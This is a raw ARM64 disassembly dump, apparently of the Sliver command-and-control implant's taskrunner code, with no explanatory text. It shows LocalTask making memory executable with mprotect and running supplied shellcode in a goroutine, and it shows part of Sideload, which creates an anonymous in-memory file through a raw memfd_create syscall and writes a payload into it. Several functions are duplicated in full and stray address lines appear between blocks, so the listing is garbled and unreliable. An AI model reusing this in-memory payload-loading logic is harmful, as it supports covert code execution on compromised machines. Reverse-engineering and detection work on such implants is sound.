00429ac0str x0, [sp+48]
00429ac4str x2, [sp+56]
00429ac8ldr x3, [sp+40]
00429accmov x1, x0
00429ad0mov x0, x3
00429ad4ldur x29, [sp-8]
00429ad8ldr x30, [sp], 96
00429adcret x30
00429ae0
00429ae0loc_429ae0:
00429ae0mov x1, x0
00429ae4orr x2, xzr, 0xffffff
00429ae8bl runtime.panicSliceAlen
00429aechint
00429af0
00429af0loc_429af0:
00429af0str x0, [sp+8]
00429af4mov x3, x30
00429af8bl runtime.morestack_noctxt.abi0
00429afcldr x0, [sp+8]
00429b00b 0x429a50
00429b04udf 0
00429b08udf 0
00429b0cudf 0
00429a50
00429b10
00429b10github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask(struct []uint8 data, bool rwxPages)
00429b10ldr x16, [x28+16]
00429b14sub x17, sp, 80
00429b18subs xzr, x17, x16
00429b1cb.ls 0x429cec
00429b20str x30, [sp-208]!
00429b24stur x29, [sp-8]
00429b28sub x29, sp, 8
00429b2cstr x0, [sp+216]
00429b30str x1, [sp+224]
00429b34str x2, [sp+232]
00429b38strb w3, [sp+240]
00429b3cstp xzr, xzr, [sp+104]
00429b40adrp x0, 0x1c4000
00429b44add x0, x0, 1216
00429b48bl runtime.newobject
00429b4cstr x0, [sp+192]
00429b50adrp x27, 0x622000
00429b54ldr w1, [x27+3056]
00429b58cbz w1, 0x429b60
00429b5cb 0x429b64
00429b60
00429b60loc_429b60:
00429b60b 0x429b84
00429b64
00429b64loc_429b64:
00429b64str x0, [sp+184]
00429b68mov x1, x0
00429b6cadd x2, sp, 216
00429b70adrp x0, 0x1c4000
00429b74add x0, x0, 1216
00429b78bl runtime.wbMove
00429b7cldr x0, [sp+184]
00429b80b 0x429b84
00429b84
00429b84loc_429b84:
00429b84ldp x2, x3, [sp+216]
00429b88stp x2, x3, [x0]
00429b8cldr x2, [sp+232]
00429b90str x2, [x0+16]
00429b94ldr x2, [sp+192]
00429b98ldr x1, [x2+8]
00429b9cldr x0, [x2]
00429ba0subs xzr, x1, 0
00429ba4b.hi 0x429bac
00429ba8b 0x429ce0
00429bac
00429bacloc_429bac:
00429bacstr x0, [sp+48]
00429bb0bl github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage
00429bb4str x0, [sp+120]
00429bb8str x1, [sp+128]
00429bbcstr x2, [sp+136]
00429bc0movz x3, 5
00429bc4bl syscall.Mprotect
00429bc8ldr x1, [sp+192]
00429bccstr x1, [sp+152]
00429bd0add x1, sp, 152
00429bd4ldrsb x27, [x1]
00429bd8ldr x1, [x1]
00429bdcstr x1, [sp+144]
00429be0bl runtime.LockOSThread
00429be4adrp x1, 0x2af000
00429be8add x1, x1, 1640
00429becstr x1, [sp+80]
00429bf0add x0, sp, 56
00429bf4bl runtime.deferprocStack
00429bf8subs xzr, x0, 0
00429bfcb.ne 0x429cc8
00429c00b 0x429c04
00429c04
00429c04loc_429c04:
00429c04adrp x1, 0x2af000
00429c08add x1, x1, 3888
00429c0cstr x1, [sp+176]
00429c10ldr x1, [sp+144]
00429c14str x1, [sp+168]
00429c18adrp x0, 0x222000
00429c1cadd x0, x0, 2336
00429c20bl runtime.newobject
00429c24str x0, [sp+160]
00429c28adrp x1, 0
00429c2cadd x1, x1, 3344
00429c30str x1, [x0]
00429c34ldr x1, [sp+176]
00429c38ldr x2, [sp+160]
00429c3cldrsb x27, [x2]
00429c40adrp x27, 0x622000
00429c44ldr w3, [x27+3056]
00429c48cbz w3, 0x429c50
00429c4cb 0x429c54
00429c50
00429c50loc_429c50:
00429c50b 0x429c68
00429c54
00429c54loc_429c54:
00429c54bl runtime.gcWriteBarrier2
00429c58str x1, [x25]
00429c5cldr x3, [x2+8]
00429c60str x3, [x25+8]
00429c64b 0x429c68
00429c68
00429c68loc_429c68:
00429c68str x1, [x2+8]
00429c6cldr x1, [sp+168]
00429c70ldr x2, [sp+160]
00429c74ldrsb x27, [x2]
00429c78adrp x27, 0x622000
00429c7cldr w3, [x27+3056]
00429c80cbz w3, 0x429c88
00429c84b 0x429c8c
00429c88
00429c88loc_429c88:
00429c88b 0x429ca0
00429c8c
00429c8cloc_429c8c:
00429c8cbl runtime.gcWriteBarrier2
00429c90str x1, [x25]
00429c94ldr x3, [x2+16]
00429c98str x3, [x25+8]
00429c9cb 0x429ca0
00429ca0
00429ca0loc_429ca0:
00429ca0str x1, [x2+16]
00429ca4ldr x0, [sp+160]
00429ca8bl runtime.newproc
00429cacstp xzr, xzr, [sp+104]
00429cb0bl runtime.deferreturn
00429cb4ldr x0, [sp+104]
00429cb8ldr x1, [sp+112]
00429cbcldur x29, [sp-8]
00429cc0ldr x30, [sp], 208
00429cc4ret x30
00429cc8
00429cc8loc_429cc8:
00429cc8bl runtime.deferreturn
00429cccldr x0, [sp+104]
00429cd0ldr x1, [sp+112]
00429cd4ldur x29, [sp-8]
00429cd8ldr x30, [sp], 208
00429cdcret x30
00429ce0
00429ce0loc_429ce0:
00429ce0mov x0, xzr
00429ce4bl runtime.panicIndex
00429ce8hint
00429cec
00429cecloc_429cec:
00429cecstp x0, x1, [sp+8]
00429cf0str x2, [sp+24]
00429cf4strb w3, [sp+32]
00429cf8mov x3, x30
00429cfcbl runtime.morestack_noctxt.abi0
00429d00ldp x0, x1, [sp+8]
00429d04ldr x2, [sp+24]
00429d08ldrb w3, [sp+32]
00429d0cb 0x429b10
00429b10
00429b10github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask(struct []uint8 data, bool rwxPages)
00429b10ldr x16, [x28+16]
00429b14sub x17, sp, 80
00429b18subs xzr, x17, x16
00429b1cb.ls 0x429cec
00429b20str x30, [sp-208]!
00429b24stur x29, [sp-8]
00429b28sub x29, sp, 8
00429b2cstr x0, [sp+216]
00429b30str x1, [sp+224]
00429b34str x2, [sp+232]
00429b38strb w3, [sp+240]
00429b3cstp xzr, xzr, [sp+104]
00429b40adrp x0, 0x1c4000
00429b44add x0, x0, 1216
00429b48bl runtime.newobject
00429b4cstr x0, [sp+192]
00429b50adrp x27, 0x622000
00429b54ldr w1, [x27+3056]
00429b58cbz w1, 0x429b60
00429b5cb 0x429b64
00429b60
00429b60loc_429b60:
00429b60b 0x429b84
00429b64
00429b64loc_429b64:
00429b64str x0, [sp+184]
00429b68mov x1, x0
00429b6cadd x2, sp, 216
00429b70adrp x0, 0x1c4000
00429b74add x0, x0, 1216
00429b78bl runtime.wbMove
00429b7cldr x0, [sp+184]
00429b80b 0x429b84
00429b84
00429b84loc_429b84:
00429b84ldp x2, x3, [sp+216]
00429b88stp x2, x3, [x0]
00429b8cldr x2, [sp+232]
00429b90str x2, [x0+16]
00429b94ldr x2, [sp+192]
00429b98ldr x1, [x2+8]
00429b9cldr x0, [x2]
00429ba0subs xzr, x1, 0
00429ba4b.hi 0x429bac
00429ba8b 0x429ce0
00429bac
00429bacloc_429bac:
00429bacstr x0, [sp+48]
00429bb0bl github.com/bishopfox/sliver/implant/sliver/taskrunner.getPage
00429bb4str x0, [sp+120]
00429bb8str x1, [sp+128]
00429bbcstr x2, [sp+136]
00429bc0movz x3, 5
00429bc4bl syscall.Mprotect
00429bc8ldr x1, [sp+192]
00429bccstr x1, [sp+152]
00429bd0add x1, sp, 152
00429bd4ldrsb x27, [x1]
00429bd8ldr x1, [x1]
00429bdcstr x1, [sp+144]
00429be0bl runtime.LockOSThread
00429be4adrp x1, 0x2af000
00429be8add x1, x1, 1640
00429becstr x1, [sp+80]
00429bf0add x0, sp, 56
00429bf4bl runtime.deferprocStack
00429bf8subs xzr, x0, 0
00429bfcb.ne 0x429cc8
00429c00b 0x429c04
00429c04
00429c04loc_429c04:
00429c04adrp x1, 0x2af000
00429c08add x1, x1, 3888
00429c0cstr x1, [sp+176]
00429c10ldr x1, [sp+144]
00429c14str x1, [sp+168]
00429c18adrp x0, 0x222000
00429c1cadd x0, x0, 2336
00429c20bl runtime.newobject
00429c24str x0, [sp+160]
00429c28adrp x1, 0
00429c2cadd x1, x1, 3344
00429c30str x1, [x0]
00429c34ldr x1, [sp+176]
00429c38ldr x2, [sp+160]
00429c3cldrsb x27, [x2]
00429c40adrp x27, 0x622000
00429c44ldr w3, [x27+3056]
00429c48cbz w3, 0x429c50
00429c4cb 0x429c54
00429c50
00429c50loc_429c50:
00429c50b 0x429c68
00429c54
00429c54loc_429c54:
00429c54bl runtime.gcWriteBarrier2
00429c58str x1, [x25]
00429c5cldr x3, [x2+8]
00429c60str x3, [x25+8]
00429c64b 0x429c68
00429c68
00429c68loc_429c68:
00429c68str x1, [x2+8]
00429c6cldr x1, [sp+168]
00429c70ldr x2, [sp+160]
00429c74ldrsb x27, [x2]
00429c78adrp x27, 0x622000
00429c7cldr w3, [x27+3056]
00429c80cbz w3, 0x429c88
00429c84b 0x429c8c
00429c88
00429c88loc_429c88:
00429c88b 0x429ca0
00429c8c
00429c8cloc_429c8c:
00429c8cbl runtime.gcWriteBarrier2
00429c90str x1, [x25]
00429c94ldr x3, [x2+16]
00429c98str x3, [x25+8]
00429c9cb 0x429ca0
00429ca0
00429ca0loc_429ca0:
00429ca0str x1, [x2+16]
00429ca4ldr x0, [sp+160]
00429ca8bl runtime.newproc
00429cacstp xzr, xzr, [sp+104]
00429cb0bl runtime.deferreturn
00429cb4ldr x0, [sp+104]
00429cb8ldr x1, [sp+112]
00429cbcldur x29, [sp-8]
00429cc0ldr x30, [sp], 208
00429cc4ret x30
00429cc8
00429cc8loc_429cc8:
00429cc8bl runtime.deferreturn
00429cccldr x0, [sp+104]
00429cd0ldr x1, [sp+112]
00429cd4ldur x29, [sp-8]
00429cd8ldr x30, [sp], 208
00429cdcret x30
00429ce0
00429ce0loc_429ce0:
00429ce0mov x0, xzr
00429ce4bl runtime.panicIndex
00429ce8hint
00429cec
00429cecloc_429cec:
00429cecstp x0, x1, [sp+8]
00429cf0str x2, [sp+24]
00429cf4strb w3, [sp+32]
00429cf8mov x3, x30
00429cfcbl runtime.morestack_noctxt.abi0
00429d00ldp x0, x1, [sp+8]
00429d04ldr x2, [sp+24]
00429d08ldrb w3, [sp+32]
00429d0cb 0x429b10
00429b10
00429d10
00429d10github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.gowrap1(void)
00429d10ldr x16, [x28+16]
00429d14subs xzr, sp, x16
00429d18b.ls 0x429d58
00429d1cstr x30, [sp-48]!
00429d20stur x29, [sp-8]
00429d24sub x29, sp, 8
00429d28ldr x16, [x28+32]
00429d2ccbnz x16, 0x429d64
00429d30
00429d30loc_429d30:
00429d30ldr x1, [x26+8]
00429d34str x1, [sp+32]
00429d38ldr x0, [x26+16]
00429d3cstr x0, [sp+24]
00429d40ldr x26, [sp+32]
00429d44ldr x1, [x26]
00429d48blr x1
00429d4cldur x29, [sp-8]
00429d50ldr x30, [sp], 48
00429d54ret x30
00429d58
00429d58loc_429d58:
00429d58mov x3, x30
00429d5cbl runtime.morestack.abi0
00429d60b 0x429d10
00429d64
00429d64loc_429d64:
00429d64ldr x17, [x16]
00429d68add x20, sp, 56
00429d6csubs xzr, x20, x17
00429d70b.ne 0x429d30
00429d74add x20, sp, 8
00429d78str x20, [x16]
00429d7cb 0x429d30
00429d10
00429d10github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.gowrap1(void)
00429d10ldr x16, [x28+16]
00429d14subs xzr, sp, x16
00429d18b.ls 0x429d58
00429d1cstr x30, [sp-48]!
00429d20stur x29, [sp-8]
00429d24sub x29, sp, 8
00429d28ldr x16, [x28+32]
00429d2ccbnz x16, 0x429d64
00429d30
00429d30loc_429d30:
00429d30ldr x1, [x26+8]
00429d34str x1, [sp+32]
00429d38ldr x0, [x26+16]
00429d3cstr x0, [sp+24]
00429d40ldr x26, [sp+32]
00429d44ldr x1, [x26]
00429d48blr x1
00429d4cldur x29, [sp-8]
00429d50ldr x30, [sp], 48
00429d54ret x30
00429d58
00429d58loc_429d58:
00429d58mov x3, x30
00429d5cbl runtime.morestack.abi0
00429d60b 0x429d10
00429d64
00429d64loc_429d64:
00429d64ldr x17, [x16]
00429d68add x20, sp, 56
00429d6csubs xzr, x20, x17
00429d70b.ne 0x429d30
00429d74add x20, sp, 8
00429d78str x20, [x16]
00429d7cb 0x429d30
00429d10
00429d80
00429d80github.com/bishopfox/sliver/implant/sliver/taskrunner.RemoteTask: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.RemoteTask(int processID, struct []uint8 data, bool rwxPages)
00429d80str x30, [sp-32]!
00429d84stur x29, [sp-8]
00429d88sub x29, sp, 8
00429d8cstr x0, [sp+40]
00429d90str x1, [sp+48]
00429d94str x2, [sp+56]
00429d98str x3, [sp+64]
00429d9cstrb w4, [sp+72]
00429da0stp xzr, xzr, [sp+8]
00429da4stp xzr, xzr, [sp+8]
00429da8mov x0, xzr
00429dacmov x1, xzr
00429db0add x29, sp, 24
00429db4add sp, sp, 32
00429db8ret x30
00429dbcudf 0
00429d80
00429d80github.com/bishopfox/sliver/implant/sliver/taskrunner.RemoteTask: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.RemoteTask(int processID, struct []uint8 data, bool rwxPages)
00429d80str x30, [sp-32]!
00429d84stur x29, [sp-8]
00429d88sub x29, sp, 8
00429d8cstr x0, [sp+40]
00429d90str x1, [sp+48]
00429d94str x2, [sp+56]
00429d98str x3, [sp+64]
00429d9cstrb w4, [sp+72]
00429da0stp xzr, xzr, [sp+8]
00429da4stp xzr, xzr, [sp+8]
00429da8mov x0, xzr
00429dacmov x1, xzr
00429db0add x29, sp, 24
00429db4add sp, sp, 32
00429db8ret x30
00429dbcudf 0
00429d80
00429dc0
00429dc0github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload(struct string procName, struct []string procArgs, uint32 p2, struct []uint8 data, struct []string args, bool kill)
00429dc0ldr x16, [x28+16]
00429dc4sub x17, sp, 912
00429dc8subs xzr, x17, x16
00429dccb.ls 0x42aa14
00429dd0sub x20, sp, 1040
00429dd4stp x29, x30, [x20-8]
00429dd8add sp, x20, 0
00429ddcsub x29, sp, 8
00429de0str x0, [sp+1048]
00429de4str x1, [sp+1056]
00429de8str x2, [sp+1064]
00429decstr x3, [sp+1072]
00429df0str x4, [sp+1080]
00429df4str w5, [sp+1088]
00429df8str x6, [sp+1096]
00429dfcstr x7, [sp+1104]
00429e00str x8, [sp+1112]
00429e04str x9, [sp+1120]
00429e08str x10, [sp+1128]
00429e0cstr x11, [sp+1136]
00429e10strb w12, [sp+1144]
00429e14stp xzr, xzr, [sp+160]
00429e18stp xzr, xzr, [sp+144]
00429e1cstr xzr, [sp+64]
00429e20adrp x0, 0x229000
00429e24add x0, x0, 2048
00429e28bl runtime.newobject
00429e2cstr x0, [sp+1016]
00429e30adrp x27, 0x622000
00429e34ldr w1, [x27+3056]
00429e38cbz w1, 0x429e40
00429e3cb 0x429e44
00429e40
00429e40loc_429e40:
00429e40b 0x429e60
00429e44
00429e44loc_429e44:
00429e44str x0, [sp+288]
00429e48mov x1, x0
00429e4cadrp x0, 0x229000
00429e50add x0, x0, 2048
00429e54bl runtime.wbZero
00429e58ldr x0, [sp+288]
00429e5cb 0x429e60
00429e60
00429e60loc_429e60:
00429e60stp xzr, xzr, [x0]
00429e64stp xzr, xzr, [x0+16]
00429e68str xzr, [x0+32]
00429e6cadrp x0, 0x229000
00429e70add x0, x0, 2048
00429e74bl runtime.newobject
00429e78str x0, [sp+1024]
00429e7cadrp x27, 0x622000
00429e80ldr w1, [x27+3056]
00429e84cbz w1, 0x429e8c
00429e88b 0x429e90
00429e8c
00429e8cloc_429e8c:
00429e8cb 0x429eac
00429e90
00429e90loc_429e90:
00429e90str x0, [sp+288]
00429e94mov x1, x0
00429e98adrp x0, 0x229000
00429e9cadd x0, x0, 2048
00429ea0bl runtime.wbZero
00429ea4ldr x0, [sp+288]
00429ea8b 0x429eac
00429eac
00429eacloc_429eac:
00429eacstp xzr, xzr, [x0]
00429eb0stp xzr, xzr, [x0+16]
00429eb4str xzr, [x0+32]
00429eb8adrp x0, 0x229000
00429ebcadd x0, x0, 128
00429ec0bl runtime.newobject
00429ec4str x0, [sp+1008]
00429ec8str xzr, [x0]
00429eccstr wzr, [x0+8]
00429ed0str xzr, [sp+280]
00429ed4orr x0, xzr, 8
00429ed8bl github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString
00429edcstr x0, [sp+200]
00429ee0str x1, [sp+208]
00429ee4str xzr, [sp+952]
00429ee8add x27, sp, 936
00429eecstp xzr, xzr, [x27]
00429ef0ldr x0, [sp+200]
00429ef4ldr x1, [sp+208]
00429ef8bl syscall.BytePtrFromString
00429efcstr x0, [sp+952]
00429f00str x1, [sp+936]
00429f04str x2, [sp+944]
00429f08ldr x1, [sp+952]
00429f0cstr x1, [sp+1000]
00429f10ldr x1, [sp+936]
00429f14ldr x2, [sp+944]
00429f18str x1, [sp+984]
00429f1cstr x2, [sp+992]
00429f20ldr x1, [sp+1000]
00429f24str x1, [sp+216]
00429f28ldr x1, [sp+992]
00429f2cldr x2, [sp+984]
00429f30str x2, [sp+240]
00429f34str x1, [sp+248]
00429f38cbnz x2, 0x429f40
00429f3cb 0x42a01c
00429f40
00429f40loc_429f40:
00429f40add x27, sp, 920
00429f44stp xzr, xzr, [x27]
00429f48add x5, sp, 920
00429f4cstr x5, [sp+760]
00429f50ldr x5, [sp+240]
00429f54ldr x6, [sp+248]
00429f58str x5, [sp+744]
00429f5cstr x6, [sp+752]
00429f60str x5, [sp+736]
00429f64ldr x5, [sp+736]
00429f68cbnz x5, 0x429f70
00429f6cb 0x429f80
00429f70
00429f70loc_429f70:
00429f70ldr x5, [sp+736]
00429f74ldr x5, [x5+8]
00429f78str x5, [sp+736]
00429f7cb 0x429f84
00429f80
00429f80loc_429f80:
00429f80b 0x429f84
00429f84
00429f84loc_429f84:
00429f84ldr x5, [sp+760]
00429f88ldrsb x27, [x5]
00429f8cldr x6, [sp+752]
00429f90ldr x7, [sp+736]
00429f94str x7, [x5]
00429f98adrp x27, 0x622000
00429f9cldr w7, [x27+3056]
00429fa0cbz w7, 0x429fa8
00429fa4b 0x429fac
00429fa8
00429fa8loc_429fa8:
00429fa8b 0x429fc0
00429fac
00429facloc_429fac:
00429facbl runtime.gcWriteBarrier2
00429fb0str x6, [x25]
00429fb4ldr x7, [x5+8]
00429fb8str x7, [x25+8]
00429fbcb 0x429fc0
00429fc0
00429fc0loc_429fc0:
00429fc0str x6, [x5+8]
00429fc4ldr x2, [sp+760]
00429fc8ldrsb x27, [x2]
00429fccb 0x429fd0
00429fd0
00429fd0loc_429fd0:
00429fd0str x2, [sp+768]
00429fd4orr x4, xzr, 1
00429fd8str x4, [sp+776]
00429fdcstr x4, [sp+784]
00429fe0adrp x0, 0x292000
00429fe4add x0, x0, 2620
00429fe8orr x1, xzr, 28
00429fecmov x3, x4
00429ff0bl log.Printf
00429ff4stp xzr, xzr, [sp+160]
00429ff8ldr x3, [sp+248]
00429ffcldr x2, [sp+240]
0042a000str x2, [sp+144]
0042a004str x3, [sp+152]
0042a008ldr x0, [sp+160]
0042a00cldr x1, [sp+168]
0042a010ldp x29, x30, [sp-8]
0042a014add sp, sp, 1040
0042a018ret x30
0042a01c
0042a01cloc_42a01c:
0042a01cmovz x4, 319
0042a020str x4, [sp+64]
0042a024ldr x4, [sp+216]
0042a028str x4, [sp+960]
0042a02cldr x0, [sp+64]
0042a030ldr x1, [sp+960]
0042a034orr x2, xzr, 1
0042a038mov x3, xzr
0042a03cbl syscall.Syscall
0042a040str x0, [sp+112]
0042a044str x1, [sp+104]
0042a048str x2, [sp+96]
0042a04cstr x0, [sp+136]
0042a050str x1, [sp+128]
0042a054str x2, [sp+120]
0042a058str x0, [sp+72]
0042a05cbl os.Getpid
0042a060str x0, [sp+56]
0042a064add x27, sp, 888
0042a068stp xzr, xzr, [x27]
0042a06cadd x27, sp, 904
0042a070stp xzr, xzr, [x27]
0042a074add x4, sp, 888
0042a078str x4, [sp+704]
0042a07cldr x0, [sp+56]
0042a080bl runtime.convT64
0042a084str x0, [sp+696]
0042a088ldr x4, [sp+704]
0042a08cldrsb x27, [x4]
0042a090adrp x5, 0x1cb000
0042a094add x5, x5, 3520
0042a098str x5, [x4]
0042a09cadrp x27, 0x621000
0042a0a0ldr w5, [x27+3056]
0042a0a4cbz w5, 0x42a0ac
0042a0a8b 0x42a0b0
0042a0ac
0042a0acloc_42a0ac:
0042a0acb 0x42a0c4
0042a0b0
0042a0b0loc_42a0b0:
0042a0b0bl runtime.gcWriteBarrier2
0042a0b4str x0, [x25]
0042a0b8ldr x1, [x4+8]
0042a0bcstr x1, [x25+8]
0042a0c0b 0x42a0c4
0042a0c4
0042a0c4loc_42a0c4:
0042a0c4str x0, [x4+8]
0042a0c8ldr x0, [sp+72]
0042a0ccbl runtime.convT64
0042a0d0str x0, [sp+688]
0042a0d4ldr x1, [sp+704]
0042a0d8ldrsb x27, [x1]
0042a0dcadrp x2, 0x1cb000
0042a0e0add x2, x2, 3648
0042a0e4str x2, [x1+16]
0042a0e8adrp x27, 0x621000
0042a0ecldr w2, [x27+3056]
0042a0f0cbz w2, 0x42a0f8
0042a0f4b 0x42a0fc
0042a0f8
0042a0f8loc_42a0f8:
0042a0f8b 0x42a110
0042a0fc
0042a0fcloc_42a0fc:
0042a0fcbl runtime.gcWriteBarrier2
0042a100str x0, [x25]
0042a104ldr x5, [x1+24]
0042a108str x5, [x25+8]
0042a10cb 0x42a110
0042a110
0042a110loc_42a110:
0042a110str x0, [x1+24]
0042a114ldr x2, [sp+704]
0042a118ldrsb x27, [x2]
0042a11cb 0x42a120
0042a120
0042a120loc_42a120:
0042a120str x2, [sp+712]
0042a124orr x4, xzr, 2
0042a128str x4, [sp+720]
0042a12cstr x4, [sp+728]
0042a130adrp x0, 0x289000
0042a134add x0, x0, 3542
0042a138orr x1, xzr, 14
0042a13cmov x3, x4
0042a140bl fmt.Sprintf
0042a144str x0, [sp+224]
0042a148str x1, [sp+232]
0042a14cldr x3, [sp+1104]
0042a150ldr x4, [sp+1112]
0042a154ldr x2, [sp+1096]
0042a158movz x5, 493
0042a15cbl os.WriteFile
0042a160str x0, [sp+240]
0042a164str x1, [sp+248]
0042a168cbnz x0, 0x42a170
0042a16cb 0x42a24c
0042a170
0042a170loc_42a170:
0042a170add x27, sp, 920
0042a174stp xzr, xzr, [x27]
0042a178add x5, sp, 920
0042a17cstr x5, [sp+656]
0042a180ldr x5, [sp+240]
0042a184ldr x6, [sp+248]
0042a188str x5, [sp+640]
0042a18cstr x6, [sp+648]
0042a190str x5, [sp+632]
0042a194ldr x5, [sp+632]
0042a198cbnz x5, 0x42a1a0
0042a19cb 0x42a1b0
0042a1a0
0042a1a0loc_42a1a0:
0042a1a0ldr x5, [sp+632]
0042a1a4ldr x5, [x5+8]
0042a1a8str x5, [sp+632]
0042a1acb 0x42a1b4
0042a1b0
0042a1b0loc_42a1b0:
0042a1b0b 0x42a1b4
0042a1b4
0042a1b4loc_42a1b4:
0042a1b4ldr x5, [sp+656]
0042a1b8ldrsb x27, [x5]
0042a1bcldr x6, [sp+632]
0042a1c0ldr x7, [sp+648]
0042a1c4str x6, [x5]
0042a1c8adrp x27, 0x621000
0042a1ccldr w6, [x27+3056]
0042a1d0cbz w6, 0x42a1d8
0042a1d4b 0x42a1dc
0042a1d8
0042a1d8loc_42a1d8:
0042a1d8b 0x42a1f0
0042a1dc
0042a1dcloc_42a1dc:
0042a1dcbl runtime.gcWriteBarrier2
0042a1e0str x7, [x25]
0042a1e4ldr x6, [x5+8]
0042a1e8str x6, [x25+8]
0042a1ecb 0x42a1f0
0042a1f0
0042a1f0loc_42a1f0:
0042a1f0str x7, [x5+8]
0042a1f4ldr x2, [sp+656]
0042a1f8ldrsb x27, [x2]
0042a1fcb 0x42a200
0042a200
0042a200loc_42a200:
0042a200str x2, [sp+664]
0042a204orr x4, xzr, 1
0042a208str x4, [sp+672]
0042a20cstr x4, [sp+680]
0042a210adrp x0, 0x294000
0042a214add x0, x0, 2288
0042a218orr x1, xzr, 32
0042a21cmov x3, x4
0042a220bl log.Printf
0042a224stp xzr, xzr, [sp+160]
0042a228ldr x3, [sp+248]
0042a22cldr x2, [sp+240]
0042a230str x2, [sp+144]
0042a234str x3, [sp+152]
0042a238ldr x0, [sp+160]
0042a23cldr x1, [sp+168]
0042a240ldp x29, x30, [sp-8]
0042a244add sp, sp, 1040
0042a248ret x30
0042a24c
0042a24cloc_42a24c:
0042a24cadd x27, sp, 920
0042a250stp xzr, xzr, [x27]
0042a254add x2, sp, 920
0042a258str x2, [sp+600]
0042a25cldr x0, [sp+224]
0042a260ldr x1, [sp+232]
0042a264bl runtime.convTstring
0042a268str x0, [sp+592]
0042a26cldr x2, [sp+600]
0042a270ldrsb x27, [x2]
0042a274adrp x3, 0x1cb000
0042a278add x3, x3, 2944
0042a27cstr x3, [x2]
0042a280adrp x27, 0x621000
0042a284ldr w3, [x27+3056]
0042a288cbz w3, 0x42a290
0042a28cb 0x42a294
0042a290
0042a290loc_42a290:
0042a290b 0x42a2a8
0042a294
0042a294loc_42a294:
0042a294bl runtime.gcWriteBarrier2
0042a298str x0, [x25]
0042a29cldr x5, [x2+8]
0042a2a0str x5, [x25+8]
0042a2a4b 0x42a2a8
0042a2a8
0042a2a8loc_42a2a8:
0042a2a8str x0, [x2+8]
0042a2acldr x2, [sp+600]
0042a2b0ldrsb x27, [x2]
0042a2b4b 0x42a2b8
0042a2b8
0042a2b8loc_42a2b8:
0042a2b8str x2, [sp+608]
0042a2bcorr x4, xzr, 1
0042a2c0str x4, [sp+616]
0042a2c4str x4, [sp+624]
0042a2c8adrp x0, 0x28c000
0042a2ccadd x0, x0, 1175
0042a2d0movz x1, 19
0042a2d4mov x3, x4
0042a2d8bl log.Printf
0042a2dcbl os.Environ
0042a2e0str x0, [sp+256]
0042a2e4str x1, [sp+264]
0042a2e8str x2, [sp+272]
0042a2ecldr x0, [sp+1120]
0042a2f0ldr x1, [sp+1128]
0042a2f4ldr x2, [sp+1136]
0042a2f8adrp x3, 0x2e6000
0042a2fcadd x3, x3, 3072
0042a300orr x4, xzr, 1
0042a304bl strings.Join
0042a308str x0, [sp+872]
0042a30cstr x1, [sp+880]
0042a310add x27, sp, 920
0042a314stp xzr, xzr, [x27]
0042a318add x5, sp, 920
0042a31cstr x5, [sp+560]
0042a320ldr x0, [sp+872]
0042a324ldr x1, [sp+880]
0042a328bl runtime.convTstring
0042a32cstr x0, [sp+552]
0042a330ldr x5, [sp+560]
0042a334ldrsb x27, [x5]
0042a338adrp x6, 0x1cb000
0042a33cadd x6, x6, 2944
0042a340str x6, [x5]
0042a344adrp x27, 0x621000
0042a348ldr w6, [x27+3056]
0042a34ccbz w6, 0x42a354
0042a350b 0x42a358
0042a354
0042a354loc_42a354:
0042a354b 0x42a36c
0042a358
0042a358loc_42a358:
0042a358bl runtime.gcWriteBarrier2
0042a35cstr x0, [x25]
0042a360ldr x6, [x5+8]
0042a364str x6, [x25+8]
0042a368b 0x42a36c
0042a36c
0042a36cloc_42a36c:
0042a36cstr x0, [x5+8]
0042a370ldr x2, [sp+560]
0042a374ldrsb x27, [x2]
0042a378b 0x42a37c
0042a37c
0042a37cloc_42a37c:
0042a37cstr x2, [sp+568]
0042a380orr x4, xzr, 1
0042a384str x4, [sp+576]
0042a388str x4, [sp+584]
0042a38cadrp x0, 0x289000
0042a390add x0, x0, 552
0042a394orr x1, xzr, 12
0042a398mov x3, x4
0042a39cbl fmt.Sprintf
0042a3a0str x0, [sp+856]
0042a3a4str x1, [sp+864]
0042a3a8add x27, sp, 840
0042a3acstp xzr, xzr, [x27]
0042a3b0add x5, sp, 840
0042a3b4str x5, [sp+520]
0042a3b8ldr x0, [sp+224]
0042a3bcldr x1, [sp+232]
0042a3c0bl runtime.convTstring
0042a3c4str x0, [sp+512]
0042a3c8ldr x5, [sp+520]
0042a3ccldrsb x27, [x5]
0042a3d0adrp x6, 0x1cb000
0042a3d4add x6, x6, 2944
0042a3d8str x6, [x5]
0042a3dcadrp x27, 0x621000
0042a3e0ldr w6, [x27+3056]
0042a3e4cbz w6, 0x42a3ec
0042a3e8b 0x42a3f0
0042a3ec
0042a3ecloc_42a3ec:
0042a3ecb 0x42a404
0042a3f0
0042a3f0loc_42a3f0:
0042a3f0bl runtime.gcWriteBarrier2
0042a3f4str x0, [x25]
0042a3f8ldr x6, [x5+8]
0042a3fcstr x6, [x25+8]
0042a400b 0x42a404
0042a404
0042a404loc_42a404:
0042a404str x0, [x5+8]
0042a408ldr x2, [sp+520]
0042a40cldrsb x27, [x2]
0042a410b 0x42a414
0042a414
0042a414loc_42a414:
0042a414str x2, [sp+528]
0042a418orr x4, xzr, 1
0042a41cstr x4, [sp+536]
0042a420str x4, [sp+544]
0042a424adrp x0, 0x289000
0042a428add x0, x0, 2226
0042a42cmovz x1, 13
0042a430mov x3, x4
0042a434bl fmt.Sprintf
0042a438str x0, [sp+824]
0042a43cstr x1, [sp+832]
0042a440stp xzr, xzr, [sp+472]
0042a444stp xzr, xzr, [sp+488]
0042a448add x5, sp, 472
0042a44cstr x5, [sp+504]
0042a450ldrsb x27, [x5]
0042a454ldr x6, [sp+856]
0042a458ldr x7, [sp+864]
0042a45cstr x7, [x5+8]
0042a460adrp x27, 0x621000
0042a464ldr w7, [x27+3056]
0042a468cbz w7, 0x42a470
